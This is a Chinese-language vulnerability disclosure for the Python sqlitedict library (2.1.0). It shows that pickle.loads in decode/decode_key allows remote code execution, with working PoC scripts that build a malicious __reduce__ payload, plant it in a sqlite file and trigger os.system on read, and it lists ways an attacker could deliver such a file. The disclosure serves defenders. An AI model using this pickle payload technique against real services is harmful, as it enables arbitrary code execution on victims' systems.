

漏洞資訊

前言

本漏洞是以 pip 下載了最新版的 sqlitedict library (version 2.1.0) 進行測試，github repo : <https://github.com/piskvorky/sqlitedict/>

漏洞原理與 PoC

在 library 中的 decode 以及 decode_key 函數中調用了 pickle 裡的 loads 函數，而如果攻擊者可以使其載入惡意的 payload (自訂義一個 class 的 __reduce__ 方法並使其執行系統指令) 將可以達成 RCE。

不安全的程式部分

```
119
120 def encode(obj):
121     """Serialize an object using pickle to a binary format accepted by SQLite."""
122     return sqlite3.Binary(dumps(obj, protocol=PICKLE_PROTOCOL))
123
124
125 def decode(obj):
126     """Deserialize objects retrieved from SQLite."""
127     return loads(bytes(obj))
128
129
130 def encode_key(key):
131     """Serialize a key using pickle + base64 encoding to text accepted by SQLite."""
132     return b64encode(dumps(key, protocol=PICKLE_PROTOCOL)).decode("ascii")
133
134
135 def decode_key(key):
136     """Deserialize a key retrieved from SQLite."""
137     return loads(b64decode(key.encode("ascii")))
```

這部分的 PoC (test.py)：

```
1 from sqlitedict import decode, decode_key
2 import pickle, base64
3 import os
4
5
6 class Payload:
7     def __init__(self, cmd):
8         self.cmd=cmd
9     def __reduce__(self):
10         import os
11         return os.system, (self.cmd,)
12
13 payload1 = pickle.dumps(Payload('echo "decode pwned" >> proof.txt'))
14 decode(payload1)
15
16 payload2 = base64.b64encode(pickle.dumps(Payload('echo "decode_key pwned" >> proof.txt'))).decode()
17 decode_key(payload2)
18
19 f=open('proof.txt', 'r')
20 print("Content of proof.txt:")
21 print(f.read())
```

這支程式示範了直接調用這兩個函數的危險性

執行結果：

```
$ python3 test.py
Content of proof.txt:
decode pwned
decode_key pwned
```

儘管 decode 以及 decode_key 函數可能不會被直接調用，然而，如果攻擊者今天能編輯/上傳/更新被讀取的 sqlite 檔案資料(事實上，這很有可能)，那依然有攻擊面。

SqliteDict 這個 class 中的 iteritems, iterkeys, itervalues 函數以及 __getitem__ 方法均有調用到 decode 或 decode_key 這兩個函數，而 items, keys, values 又有調用到上述的函數，這導致此 library 在讀取 sqlite 檔案時幾乎都有機會被 RCE。

不安全的程式部分

```
273 def iterkeys(self):
274     GET_KEYS = 'SELECT key FROM "%s" ORDER BY rowid' % self.tablename
275     for key in self.conn.select(GET_KEYS):
276         yield self.decode_key(key[0])
277
278 def itervalues(self):
279     GET_VALUES = 'SELECT value FROM "%s" ORDER BY rowid' % self.tablename
280     for value in self.conn.select(GET_VALUES):
281         yield self.decode(value[0])
282
283 def iteritems(self):
284     GET_ITEMS = 'SELECT key, value FROM "%s" ORDER BY rowid' % self.tablename
285     for key, value in self.conn.select(GET_ITEMS):
286         yield self.decode_key(key), self.decode(value)
287
288 def keys(self):
289     return self.iterkeys()
290
291 def values(self):
292     return self.itervalues()
293
294 def items(self):
295     return self.iteritems()
296
297 def __contains__(self, key):
298     HAS_ITEM = 'SELECT 1 FROM "%s" WHERE key = ?' % self.tablename
299     return self.conn.select_one(HAS_ITEM, (self.encode_key(key),)) is not None
300
301 def __getitem__(self, key):
302     GET_ITEM = 'SELECT value FROM "%s" WHERE key = ?' % self.tablename
303     item = self.conn.select_one(GET_ITEM, (self.encode_key(key),))
304     if item is None:
305         raise KeyError(key)
306     return self.decode(item[0])
307
```

poc_generator.py

```
1 from sqllitedict import SqliteDict, encode, decode, decode_key
2 import pickle
3 import base64
4 import os
5
6 class Payload:
7     def __init__(self, cmd):
8         self.cmd=cmd
9     def __reduce__(self):
10         import os
11         return os.system, (self.cmd,)
12
13 payload = Payload('echo "pwned by whale120" > proof.txt')
14 db = SqliteDict("example.sqlite")
15 db["1"] = {"name": "whale120"}
16 db["2"] = payload
17 db.commit()
18 db.close()
```

這支 PoC 生成了可以造成 RCE 的 example.sqlite

poc_open_sql.py

```
1 from sqllitedict import SqliteDict
2 db=SqliteDict('example.sqlite')
3 for key, item in db.items():
4     print("%s=%s" % (key, item))
5
6 f=open('proof.txt', 'r')
7 print('Content of proof.txt:')
8 print(f.read())
9
```

這支 PoC 用以讀取剛剛已污染的 example.sqlite 檔案以及開啟了證明被 RCE 的 proof.txt 檔案

PoC 的執行結果：

```
(kali🐟🐟🐟kali)-[~/temp/sqlite-dict]
└─$ python3 poc_generator.py
295         iteritems():
296
(kali🐟🐟🐟kali)-[~/temp/sqlite-dict]
└─$ python3 poc_open_sql.py
1={'name': 'whale120'}
2=0
Content of proof.txt:
pwned by whale120
```

可能的觸發方式

1. 在服務有類似備份的功能可以上傳 sqlite 檔案並讀取時
2. 在服務有造成 oob write 的漏洞，或者使用者權限可以編輯檔案時
3. 在服務有其他地方使用非 sqlitedict 的資料庫套件可以對資料庫插入值時
4. 在服務有 sql injection 漏洞導致可以用其他的方法改值時
5. 基於使用方法的不同，很可能還有其他的安全風險